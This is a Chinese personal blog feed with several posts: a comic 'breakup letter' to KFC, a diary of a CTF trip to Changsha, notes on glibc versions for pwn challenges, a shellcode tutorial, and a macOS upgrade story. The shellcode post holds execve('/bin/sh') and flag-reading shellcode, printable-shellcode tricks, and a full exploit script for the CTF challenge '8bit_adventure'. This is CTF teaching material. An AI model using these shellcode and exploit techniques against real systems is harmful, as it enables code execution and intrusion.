普通视图

发现新文章,点击刷新页面。
昨天以前Surager Blog

与肯德基绝交书

2023年4月17日 08:00

往事

肯德基(Kentucky Fried Chicken,肯塔基州炸鸡,简称KFC)是一家美国跨国连锁餐厅,也是世界第二大速食及最大炸鸡连锁企业。它由创始人哈兰·山德士(Colonel Harland Sanders)于1952年创建,主要出售炸鸡、汉堡、薯条、盖饭、蛋挞、汽水等高热量快餐食品 ⁵。您想了解更多关于肯德基的信息吗?

随便问了问 bing,得出了关于肯德基的介绍。

余幼时家贫,没有享受过什么朱缨宝饰、美味佳肴。所以我童年的梦想就是有一天能大快朵颐,换上漂亮的衣服,戴上时髦的帽子。

那是 2008 年,全国人民为奥运喝彩,为灾区祈福。也是在这一年,我们小县城迎来了第一家肯德基炸鸡店,也是成为了我眼中的“奢侈品”。

因为吃不起肯德基,肯德基自然就成了我心中的奢望。每当吃饭的时候,我嘴里嚼着海带丝、羊肉串 (小卖铺包装),心里却幻想着能够大快朵颐一顿肯德基;每当看到家有儿女的一家人欢乐地享受美食,我眼里羡慕着他们的幸福,心里却依然念念不忘一顿肯德基;家里突然停电了,我幼小的心灵如洪水决堤一般破防了,哭着喊着,心里想的仍然是吃一顿肯德基。

但是吃不得,彼时余家贫。

与肯德基

平常的一天,家人各忙各的,留下我没人照顾。家尊正要出差到市里办事,我便跟随着去了。

初入大都,万象更新。车水马龙的街道,拔地而起的高楼,来来往往的人群。走了好多地方,忙了一个上午。该找个地方吃点东西,歇歇上一会。

于是我暗自下决心,一定要抓住这个机会吃一顿肯德基。

初出此想法,老爹不以为然,主食及家常菜为宜。我不甘心就这样错过机会,再三请求午饭吃肯德基。老爹只好同意,省出自己的午饭钱给我买肯德基。

那时没有二维码,前台点单取餐。再三斟酌之后点了一个套餐便罢。等待正要焦急时,前台开始叫号。只见那一个员工忙里忙外把套餐收拾到托盘中,还不停地催促后厨快点。甚至忘了自己拿了什么东西,暂时放空自己的大脑问了一声 “汉堡是不是拿过了”,声音几乎被周围的噪音淹没了。老爹没听清,于是随便回答了一下。

我真心替这位员工感到高兴,他为自己的公司省下了一个汉堡。

吃完了这顿饭,我终于知道了什么是奢侈品。那就是花两倍的钱,却吃不到一半的饱。

我很遗憾,这次肯德基经历没有完全扑灭我对肯德基的热情。就这样,我在对肯德基的念念不忘和对第一次吃肯德基的失落中长大了。经济发展,家境改善,可是手头还是不宽裕,肯德基终归还是“奢侈品”。每次走进肯德基的店面,我都会犹豫不决,压抑不住想吃的心思与高出天际的价格使我心中矛盾重重。每次看到肯德基麦当劳这样的快餐店,我总会问自己几个问题,我能买得起吗,它真的值得吗,我什么时候能随心所欲地吃呢。

后来,我走到了武汉,走到了深圳,走到了哈尔滨,走到了全国各地。想吃就吃的梦想也随着几场比赛的落幕而实现了。

2022年的网鼎杯因为疫情的原因而延期了一年,直到2023年才如期举行。我怀着“能进决赛就是胜利”的心态参加了这场比赛。第一天的比赛成绩不错,我们成功地在青龙组挤进了决赛的名单。

晚饭吃了五分饱,还有些饿,于是我们选择了使用肯德基 19.9 元学生套餐来犒劳自己。可是点餐的过程却很不顺利,原本想要的香辣堡已经卖完了,只能换成其他口味的。我随便选了一个酥脆堡,没想到这个选择让我后悔不已。夜里闲着没事,拿起汉堡吃了起来。谁知道第一口咬下去,就感觉到肉非常地硬,像是有筋一样拉丝。直到我继续咬了第二口第三口第四口,才发现这块肉硬得像石头一样。肉的表面已经完全干透,油炸后放置太久的痕迹明显。肉的内部也没有多少水分和弹性,每一丝都透露着陈旧和腐败。果不其然,吃完后整个胃开始翻江倒海。整个食道都像被火烧了一样,上下一片灼热。

第二天起床就感觉到胃里不对劲了。因为今天带进赛场的不仅有比赛工具,还有我的肠胃炎。

提醒队友别吃别吃,未果。

我觉得肯德基的食品安全是一个既有优势又有挑战的问题,需要肯德基不断地努力和改进,也需要消费者和社会给予更多的信任和支持。

bing 对肯德基食品安全问题的回答还是非常乐观的,但是在我看来,肯德基

你就是歌姬吧

我庆幸自己经历了这次肯德基的惨痛教训,它彻底地浇灭了我心中对肯德基的渴望。也许从此以后,我会错过很多让人垂涎的美味,但是我也会省下不少钱来做更有意义的事情。我不会再为了一时的口腹之欢,而冒着食品安全的风险,对我的胃进行大清洗。

吃一堑长一智,谢谢啊,肯德基。

绝交书

亲爱的肯德基:

您好!您就是歌姬吧。您是我第一个尝试的西式快餐,你的堡、翅、薯条、百事可乐,都是我童年的美好阴影。你曾经是我心目中的鸡吧,也曾经是我最信任的鸡吧。

但是,你让我失望了,也让我伤心了。今天,我决定跟你说再见,结束我们多年的情谊。具体如下:

  • 所有肯德基的汉堡卷种类、全鸡种类、米饭种类、冰激凌种类、咖啡种类食物,烤翅、鸡块、鸡米花等小食,永不再吃。
  • 除优惠力度大于 50% 的活动外,一律不考虑购买任何肯德基食品。
  • 如近五年内出现肯德基用劣质、不合格的原料的事件,上一条的前提条件作废。

所以,请原谅我的自私和决绝,请接受我的告别和祝福。那就是:

肯德基,

你就是歌姬吧

2021湖湘杯旅游

2021年12月12日 08:00

前言

有事,换人。于是👴就这么来了。光速定机票,芜湖。

茶愁

茶愁

小时候,
茶愁是一场短短的比赛,
我在这头,
决赛在那头。

长大后,
茶愁是一次长长的等待,
我在这头,
比赛在那头

后来啊,
茶愁是一回糟糕的答题,
我在里头,
晋级在外头。

而现在,
茶愁是一张核酸的报告,
我在这头,
茶颜在那头。

一到期末事倍多,火急火燎地写完作业以后就还剩 5 小时要上飞机了。👴慢慢悠悠地整了丶饭,收拾了收拾东西,然后玩手机等时间。

没曾想,我看到了这个。

我 tm 直接完蛋。核酸检测没做,直接把人给你🐏️了。

但是!这时候绝对不能放弃。我在千钧一发之刻开始考虑这是不是我此生唯一的喝茶颜悦色的机会。于是大脑 8TB 核 cpu 飞速运转,生成了一个完整的救亡计划。

graph LR
	a[马上上地铁] --> b[到最近的医院]
	b --> c[在医院下班之前<br>做完核酸检测]
	c-->d[到长沙打印电子版]

一套流程跑下来,完美。

于是👴马上 11 号线转 2 号线青大附医下车一路小润满头大汗到核酸检测地点,赶在结束之前 20 分钟完成了核酸检测。完美。

在回地铁的路上,我脑海中微微酝酿出了这首诗。

而现在,
茶愁是一张核酸的报告,
我在这头,
茶颜在那头。

(我 tm 直接哭死

夜里的

落地直接一个滴滴到酒店。

酒店是真不戳。两个队友 ha1 和 guoke 住一间,所以我就单人一个大床房。房间是真的大,把洗浴间和卧室中间的墙去掉的话,这空间都够打一套自由搏击的。有单独的浴缸,电和灯都是自动的。真的🐂️🍺️。就是自动灯有点哈人,洗着洗着澡灯给灭了,给👴吓一跳。

酒店

吃饭。酒店周围什么都没有。吃饭得走十几分钟到比赛场地周围去吃。第一顿没有什么思路,老样子,掏出随机数生成器来,直接开始 random。

天选烤肉。直接开始点单。整点牛肉、五花。有一个香肠,👴直接开冲。

烤肉

香肠味道相当不错。竖着烤还给我练了平衡性。彳亍。这波我全功。

一波整完,意犹未尽。直接点第二波。一个肥肠一个猪肉。猪肉不管烤不烤熟全是白的,有点难整。肥肠有点太肥,差点给👴整吐了。这波我全责。

吃完饭当然是茶颜悦色了。

茶颜悦色

不得不说,茶颜悦色的企业文化有丶吊。热情,服务态度好。进门直接开始一波口号的喊。点单的时候先喊一轮欢迎,然后店员开始用扩音器跟宁交流点单。点完之后再来一波口号。小票的长度是我以前从未想到过的,比我胳膊还长。上面的故事从创业之初写到现在,属于是不忘初心。完事拿到茶要走来再给你来一套欢迎下次光临。说实话,我社恐,我听着贼尴尬。但是我要是入职的话我绝对社交牛逼症拉满喊得最大声。

第一次点了个幽兰拿铁。上面一看还以为是个冰激凌,下面藏着拿铁。一会儿全给化下去了。

幽兰拿铁

夜里智慧到 2 点多,听闻 Mr.R 赶回去上课的消息。于是约好一起买票回青。

坐牢

6 点多起床,洗漱完奔下楼吃了点辣味炒饭,上了大巴到了比赛现场。

到现场直接茶歇区拿两瓶水,抢一血(

后面才知道比赛开始后去厕所和茶歇区都要登记,👴不能像以前那样随意肆虐茶歇区了。

然后就开始了一天的坐牢时间。

开局坐会儿牢 + 领导讲话,一套流程走完之后开始比赛。

开局把题目全拉下来,存个原件。然后直接开始找洞。一个非常规堆题,一个小说题塞个栈溢出,一个unicorn题,一个看着像堆的后门题。

我直接奔着栈溢出就过去了。先防一波,直接 ida patch 小溢出字节数 tar 一下扔上去。然后发现👴的 ftp 不好使。只能手动扔给 ha1 然后再上传。EXP利用成功。👴寻思这能利用成功?!

然后直接考虑开始攻击。一路摁 2 可以跳过小说剧情到达栈溢出,于是直接

for i in range(12):
    a.sendline("2")

直接一顿乱冲,泄露 canary,栈迁移一气呵成。二血还是三血来着。血亏。

之后开始修菜单堆+后门那题。直接上去把后门给🐏️掉,tar 一下扔上去。还是 EXP利用成功。nmd 后门都🐏️了还能打通?

看那道阴间堆题,无果。看 unicorn 题,看懂了逻辑,没看懂怎么用。

隔壁 web 怎么也修不好。guoke 看了一眼 upload 示例,把打包的文件夹去掉,直接打包文件,修补成功。wdnmd 我方才发现我直接没放 update.sh,重大失误,痛失好几千分,背大锅。

栈迁移修好,后门堆修好。之后开始坐牢。

看了半天后门堆,怎么也没有想出怎么利用这个 clnt_create 来返回非 0。于是打开一份 libc-2.31.so 源码进行一波分析。直到试了试这个漏洞。

if (strcmp (proto, "unix") == 0)
    {
      memset ((char *)&sun, 0, sizeof (sun));
      sun.sun_family = AF_UNIX;
      strcpy (sun.sun_path, hostname); // 这个洞
      sock = RPC_ANYSOCK;
      client = clntunix_create (&sun, prog, vers, &sock, 0, 0);
      if (client == NULL)
	return NULL;
#if 0
      /* This is not wanted.  This would disable the user from having
	 a timeout in the clnt_call() call.  Only a call to cnlt_control()
	 by the user should set the timeout value.  */
      tv.tv_sec = 25;
      tv.tv_usec = 0;
      clnt_control (client, CLSET_TIMEOUT, (char *)&tv);
#endif
      return client;
    }

这题是给了 libc 的,只不过 strings 出来是 2.27 就没管了。但在测试时,本地报错是 stack smashing detected,远程测试是 segmentation fault

好家伙,这不就是把 canary 给去掉了嘛。直接爆破填充长度,拿 2 血。

后面盯着 unicorn 的源码看了半天,没分析出啥来。开摆。

web 老哥修了一天的 vote 没有修好,属实是有点难受。

最后做梦一般地从 20+ 到了第 10 名,又到了第八,第七,第六,第五。

前面的老哥送了发火箭,送到了第四名。实现了奖金翻两番。wtcl,这波我全责,全责。

漏🐂️

奉劝出题人少漏 ID(包括不小心),否则 100% 成为阴间出题人。

橘子洲

颁完奖,吃完饭,开始旅游。直接从五一广场刷琴岛通坐两站地铁到了橘子洲。

上洲后,感觉到一股公园的味道。树林郁郁葱葱。因为洲是南北走向的,宽度不大。所以洲上的植被显得格外旺盛。洲上的池塘、草坪,散发出一股清新,微风为伴,漫步其旁,颇有一番风味。洲上塔与亭该是被保护得不错,也许能够看到当年伟人在此指点江山,彰书生意气。

因为穷因为想亲自感受橘子洲的文化,我选择步行游览整个橘子洲南段。一路走个来回有些许累。

走了一个小时左右,毛泽东青年艺术雕像便出现在不远的前方。游客非常多,都在与伟人进行合影。当年他拯救了整个中华民族,正如今天人人都拥护着他。还记得不久前我刚刚加入共产党,发誓为共产主义奋斗终身,用不叛党。在 20 岁的年华,就应该把自己的青春献给伟大的祖国建设事业当中。风华正茂的青年人应该做时代的挑灯者,应该做时代的太阳。

来回加起来歇息了大约有五六次。大概路是真的太长了。

橘子洲1

橘子洲2

橘子洲3

归程

晚上在五一广场嗦了点面,就来到了机场。

即将告别仅仅呆了两天的长沙,心中实在有点不舍。在这可以轻松地喝到茶颜悦色,可以放下生活中的杂事,感受在赛场上解题的艰苦和解出题来的快乐。一切都挺美好,都是完美生活的一部分。不过旅程总算会到达终点,人还是要回到自己的生活中,继续守自己的岗位。

最后一杯茶颜悦色。

茶颜悦色3

相与步于飞机,寐,Mr.R 亦寝。

想长沙

我的茶颜悦色,我好想你啊😭️

好想你,茶颜悦色,茶颜悦色

茶颜悦色

x86架构下pwn题目libc版本概述

2021年5月11日 08:00

鉴于最近关于 libc 的讨论又开始兴起,在此稍作总结。

关于什么是 libc :GNU C库

libc版本

如何查看

一种方法是直接运行 libc。

$ /lib/x86_64-linux-gnu/libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

另一种是 strings 加 grep

$ strings /lib/x86_64-linux-gnu/libc-2.27.so | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
Compiled by GNU CC version 7.5.0.

大版本

在一般情况下,主流的 ubuntu 运行的 libc 大版本如下:(截至2021-05-13)

ubuntu版本 libc版本
ubuntu 16.04 LTS 2.23-0ubuntu
ubuntu 18.04 LTS 2.27-3ubuntu
ubuntu 20.04 LTS 2.31-0ubuntu

小版本

pwn 题目的搭建一般使用 docker。大多数出题人会在 Dockerfile 里面这么写:

RUN apt-get update && apt-get -y dist-upgrade

此外还可能安装一些 xinetd 之类的东西。这些操作都有可能将 libc 升级到目前大版本的最高小版本:

例如,截至 2021-05-13 版本如下:

ubuntu16.04 : 2.23-0ubuntu11.2

ubuntu18.04: 2.27-3ubuntu1.4

ubuntu20.04: 2.31-0ubuntu9.2

因此,常用版本一般是这三个。

我们可以在以下几个网站获取二进制文件:

https://launchpad.net/ubuntu

https://pkgs.org/download/libc6

也可以获取源码:

https://ftp.gnu.org/gnu/glibc/

下面对它们的特点进行概述:

2.23-0ubuntu11.2

因为 ubuntu 16.04 已经于 2021-04-30 停止支持,此 libc 成为 ubuntu16 libc-2.23.so 的最后一个版本,也是 ubuntu系统 heap 中没有 tcache 的最后一个版本。可利用的漏洞较后两个版本来说更多一些。

2.27-3ubuntu1.4

加入了 tcache。由于 tcache double free 的严重性,2.27-3ubuntu1.3 中加入了 key 机制。本版本保留了 2.27-3ubuntu1.3 加入的 key 机制。

所以想体验原生 tcache double free 的同学可以找到 1.2(版本名称 ubuntu 后面的数字,下同) 以及之前的 libc 进行体验。

这里给出一种不怎么好但是简单的解决方案:

sudo apt install libc6=2.27-3ubuntu1.2
sudo apt install libc-dev-bin=2.27-3ubuntu1.2
sudo apt install libc6-dev=2.27-3ubuntu1.2
sudo apt install libc6-dbg=2.27-3ubuntu1.2

小tips:buuoj 的 ubuntu18 靶机中使用的 libc 版本是 2.27-3ubuntu1

另外,2.27 大版本下可能用到的其他小版本,有2.27-3ubuntu12.27-3ubuntu1.22.27-3ubuntu1.3

2.31-0ubuntu9.2

在 tcache_entry 中 加入了 key。对 unsorted bin 检查巨多。极大地限制了堆块的利用。另外还能在 gcc 编译选项里面加入 cet 或者 🐏️ switch。很蛋疼。

cet(ida 7.5以下版本 PLT 解析失败)解决指路:M4tsuri/ida_fxxk_cet

另外,2.31 大版本下可能用到的其他小版本,有2.31-0ubuntu92.31-0ubuntu9.1

所以,需要准备的 libc 并不多,准备个 8 个左右就够应付比赛了。

libc加载

当一个动态链接的程序运行起来之后,libc 就会通过链接器 (ld) 加载到内存中,此时用户编写的二进制程序便能够调用其中的函数。在本地调试 pwn 题目时,默认加载的 libc 是本地的 libc。32 位 libc 目录为: /lib/i386-linux-gnu/libc.so.6 或者 /lib32/libc.so.6 ,64 位 libc 目录为 /lib/x86_64-linux-gnu/libc.so.6。而 libc.so.6 是一个指向 ./libc-xxx.so 的一个软链接。

lrwxrwxrwx 1 root root   12 Dec  8 00:38 libc.so.6 -> libc-2.27.so

所以

即使本地 exp 中写了

libc = ELF("./libc-xxx.so")

也是默认使用本机的 libc。验证如下(使用 libc = ELF("./libc-xxx.so") 写脚本,之后进行 gdb attach):

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ...
    0x562ccc0dc000     0x562ccc0fd000 rw-p    21000 0      [heap]
    0x7f6ee40a3000     0x7f6ee428a000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee428a000     0x7f6ee448a000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee448a000     0x7f6ee448e000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee448e000     0x7f6ee4490000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f6ee4490000     0x7f6ee4494000 rw-p     4000 0
    0x7f6ee4494000     0x7f6ee44bd000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f6ee46a0000     0x7f6ee46a2000 rw-p     2000 0
    0x7f6ee46bd000     0x7f6ee46be000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f6ee46be000     0x7f6ee46bf000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
    ...

原因一是 ELF 只是获取了目标 libc 的信息,并未进行加载。再者如下:

$ ldd pwn
	linux-vdso.so.1 (0x00007ffe7cf8a000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f74a57b5000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f74a5daa000)

libc 和 ld 的路径已经默认写死在程序中了。

除非使用 ld 来运行程序

p = process(['./ld-xxx.so','./pwn'],env={"LD_PRELOAD":"./libc-xxx.so"})

但是笔者和 某dai 亲测 ld-2.23.so 并不好使。原因未知,推测是 2.23 版本有问题。

或者使用 patchelf 来将写死的 libc 换成目标 libc,这里网上教程很多,不再赘述。

(未解决)如何判断远程 libc

如果不给libc,全靠猜。

猜可以根据

  1. 泄露一个 libc 地址,然后查一下
  2. double free 一下看报错
  3. chunk 的个数限制
  4. 题目的难度和白给程度
  5. seccomp 设了多少
  6. 搁这挨个试

shellcode 的 issue

2021年5月3日 08:00

本文章为个人笔记性质。如有错误,请多多指教。

谐音梗。issue──>艺术

前言

CSAPP 中 有一章专门讲了 Y86-64 这一指令集。Y86 指令中,前 4bit 是指令的类型,通过这一位我们可以判断指令的类型。之后通过一些翻译类型的题目,我感受到了指令的构成。并且通过这些指令初步感受到了各类指令所占空间的大小。正好前一段时间做过一道 shellcode 的题目,因此来研究一波。

从 pwntools 说起

i386 shellcraft.sh()

 	/* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

amd64 shellcraft.sh()

 	/* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

这些都是 pwntools 自带的 shellcode。可以直接拿来用。如果不想直接使用这些,可以自行构造。

例如一些汇编指令类:

shellcraft.push('rax')
shellcraft.mov('eax', 'SYS_execve')
shellcraft.xor(0xdeadbeef,'rsp',32)

或者你想直接利用 Pwntools 来写 orw:

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(0,'rsp',0x30)
shellcode += shellcraft.write(1,'rsp',0x30)

结果如下:

    /* open(file='/flag', oflag=0, mode=0) */
    /* push '/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
    /* call read(0, 'rsp', 0x30) */
    xor eax, eax /* SYS_read */
    xor edi, edi /* 0 */
    push 0x30
    pop rdx
    mov rsi, rsp
    syscall
    /* write(fd=1, buf='rsp', n=0x30) */
    push 1
    pop rdi
    push 0x30
    pop rdx
    mov rsi, rsp
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall

这么一来,我们可以直接利用 pwntools 来进行常规 shellcode 的编写了。在没有进行 字符限制 的情况下,直接利用 shellcraft 确实是很方便的方法。

如果遇到了禁用 open 系统调用的题目,那一般会故意留一个 ALLOW 的系统调用 fstat。系统调用号为 5。但是在 32 位运行模式下 5 号系统调用是 open。所以可以通过 retfq 指令进行运行模式的转换,从而达到能够使用 open 系统调用的效果:

push retaddress
push 0x23
retfq

注意 retaddress 会被解析成 32 位的地址

重新回到 64 位运行模式的方法:

jmp 0x33:retaddress

但是

但是总有一些题目、一些出题人喜欢在题目里面塞💩️。那么如何限制 shellcode 呢?很简单无脑的一种方法就是限制输入的字符,如果力求模拟真实情况的话。例如:

{
    char buf[32];
    read(0,buf,32);
    for (int i=0;i<strlen(buf);i++){
        if(buf[i] < 32 || buf[i] > 126) exit(-1);
    }
}

这样就直接可以限制输入的 shellcode 为可打印字符。考虑到这种情况,首先考虑我们需要的系统调用能不能用。int 0x80 所对应的字节码是 CD 80,明显不可打印;syscall 对应的字节码是 0F 05 ,也是不可打印的。首先想到的是用指令在输入后对 shellcode 进行操作,使其变成对应的系统调用。例如:

// gcc -g -m64 -z execstack -no-pie shellcode1.c -o shellcode1
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    char buf[0x400];
    int n, i;
    n = read(0, buf, 0x400);
    if (n <= 0) return 0;
    for (i = 0; i < n; i++) {
        if(buf[i] < 32 || buf[i] > 126) return 0;
    }
    ((void(*)(void))buf)();
}

我们用 sub byte ptr [rsi + 0x], dl 指令将两个可打印字符写成 syscall

payload = asm("""
push 0x6f
pop rdx
push rbx
push rbx
push rbx
push rsp
pop rsi
sub byte ptr [rsi+0x3e], dl
sub byte ptr [rsi+0x3f], dl
""")
payload += "\x7e\x74"

此处用 push 指令对栈的相对位置进行了调整。然后通过 push pop 的组合来达到 mov 的效果,最后计算位置,将 \x7e\x74 转换成 \x0f\x05

效果:

# 转换前
0x7fff576dbb4e:	jle    0x7fff576dbbc4
# 转换后
0x7fff576dbb4e:	syscall

shellcode的艺术 中有一段关于可打印字符 shellcode 的总结,这里抄录过来。

1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

关于 sub, xor, and, cmp 部分,看似挺多,其实记住源操作数和目的操作数一个是 byte ptr [reg + imm],另一个是 寄存器 就行了。

在这个基础上,手写可打印 shellcode 是很简单的。(

单字节 shellcode

MRCTF2021 8bit_adventure 官方WP复现

假如我们在让用户输入 shellcode 时,让 shellcode 的每一个字节散乱地分布在一个区域内。

s = mmap(0, 0x20000u, 7, 34, 0, 0);
memset(s, 0x90, 0x20000u);

*(s + i + rand() % 32) = input;

这样执行命令的时候只能执行单字节的 shellcode。

32 位运行模式下,对于pushpopincdec 这种单操作数的指令,它们都是单字节的,可以使用。

本题给了一段后门。

if ( v2 == 0xCDu )
{
    v1 = rand();
    *(v1 % 31 + i) = 0xCDu;
    *(v1 % 31 + 1 + i) = 0x80u;
} // disasm("\xcd\x80") int    0x80

也就是说,我们可以用栈和全部寄存器通过系统调用进行 orw

由于本题有close(0),因此首先考虑怎么写 “flag” 字符串。受单字节 shellcode 限制,无法解引用。考虑用 pipe 做一个跳板,写 pipe 读 pipe 的方式。

// demo.c
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int main(){
    int fd_pipe[2];
    char buf[0x30];
    pipe(fd_pipe);
    write(fd_pipe[1],"f",1);
    write(fd_pipe[1],"l",1);
    write(fd_pipe[1],"a",1);
    write(fd_pipe[1],"g",1);
    write(fd_pipe[1],"\x00",1);
    read(fd_pipe[0],buf,0x5);
    int fd = open(buf,O_RDONLY);
    read(fd,buf,0x30);
    write(1,buf,0x30);
}

我们用 demo.c 成功 orw 出了 flag。

由此看来,只用 pushpopincdec 完全可以完成 orw。

构造 exp:

from pwn import *
import base64
context.log_level='debug'

sh=process('./8bit_adventure')

payload = asm("""
pop edi
push eax
push ebx
push ebx
push ebx
pop eax
push esp
pop ebx
""")+ \
asm("inc eax")*42 + \
"\xcd" # pipe(fd_stack)

payload += asm("""
pop esi
pop ebx
""")+\
asm("""
dec edi
""")*0x5c5+\
asm("""
push edi
pop ecx
inc edx
inc eax
inc eax
inc eax
inc eax
""")+\
"\xcd" # write(fd_pipe[1],"f",1)

payload += asm("""
inc ecx
inc ecx
inc ecx
inc eax
inc eax
inc eax
""")+\
"\xcd" # write(fd_pipe[1],"l",1)

payload += asm("""
dec ecx
dec ecx
inc eax
inc eax
inc eax
""")+\
"\xcd" # write(fd_pipe[1],"a",1)

payload += asm("""
inc ecx
""")*0x1c+\
asm("""
inc eax
inc eax
inc eax
""")+\
'\xcd' # write(fd_pipe[1],"g",1)

payload += asm("""
dec ecx
inc eax
inc eax
inc eax
""")+\
'\xcd' # write(fd_pipe[1],"\x00",1)

payload += asm("""
push esi
pop ebx
inc eax
inc eax
pop ecx
inc edx
inc edx
inc edx
inc edx
""")+\
'\xcd' # read(fd_pipe[0],buf,0x5)

payload += asm("""
push ecx
pop ebx
push esi
push esi
pop ecx
pop edx
""")+\
'\xcd' # open("flag",0)

payload += asm("""
push ebx
push eax
pop ebx
dec eax
pop ecx
""")+\
asm("""
inc edx
""")*0x30+\
'\xcd' # read(fd_flag,buf,0x30)

payload += asm("""
push esi
pop eax
inc eax
inc eax
inc eax
inc eax
dec ebx
dec ebx
dec ebx
""")+\
'\xcd'+"\x00" # write(1,buf,0x30)

sh.sendafter('code',payload+"\x00")
sh.interactive()

未完

shellcode 还有诸多用法。例如用 mprotect 改写权限,利用 sigreturn 构造 SROP 等。做赛题时灵活运用。

日遇三险

2021年3月9日 08:00

前言

bigsur

这个图片所示的信息自从去年那次 m1 芯片发行以来就一直在我的电脑出现着。然而考虑到新系统的出现必然会引起软硬件的适配问题。所以我一直没有选择升级 macOS Big Sur。

事情因何而起?某天,少年夜行,月明天晴,了无星辰。过贵实验室,停而闲游。见学长维护服务器,学之。大惊其新系统。叙之,知诸事皆宜。软硬件皆无不适之相。乃隐隐生更新之意。

于是我选择升级 Bug Sur 体验一下很 tm 舒服的 UI。当然,升级之前的第一件事就是 时间机器备份。移动硬盘除了放 学习资料 之外,还进行了虚拟机和 mac 本体的备份。此时已经进行了 800多G 的冗余备份。所以就先清理一下。

  • 清空废纸篓

但是万万没想到啊,对于移动硬盘的抹除速度竟然如此之慢。800G 的东西起码要删了两三个小时。

  • 时间机器

时间机器的备份也是要慢到了一种极限。只是准备就要半个多小时。进行时间机器备份的时候 mac 会对它进行限流,以防止占用较多的资源。于是我们可以解除封印。

sudo sysctl debug.lowpri_throttle_enabled=0

解除封印之后只是将备份速度从 Kb 量级拉到了 Mb 量级。想要进行接近 200G 的备份,对于这种 dio 移动硬盘来说还是太勉强了一点。

备份完毕之后就直接开始升级。下载 Big Sur,安装。储存空间不够,把虚拟机放到移动硬盘里。安装,成功。

success

pwner 在驯化 Big Sur 时,所做的第一件事就是 打开虚拟机。parallels desktop 15 是不支持 Bug Sur 的。但是我们可以找一个随处可见的 parallels desktop 16 来进行替代。

崩溃

成年人的崩溃往往就在一瞬间

对,此时第一险来了。parallels desktop 16 毫无例外的翻车了。

  1. 导入以前的 ubuntu 18.04 之后,tty直接启动不起来。只会冒出一大片黄色的警告⚠️。重启,发现系统进不去。尝试输入 ls 等命令,发现进入的是一种 类似 base system 的界面。
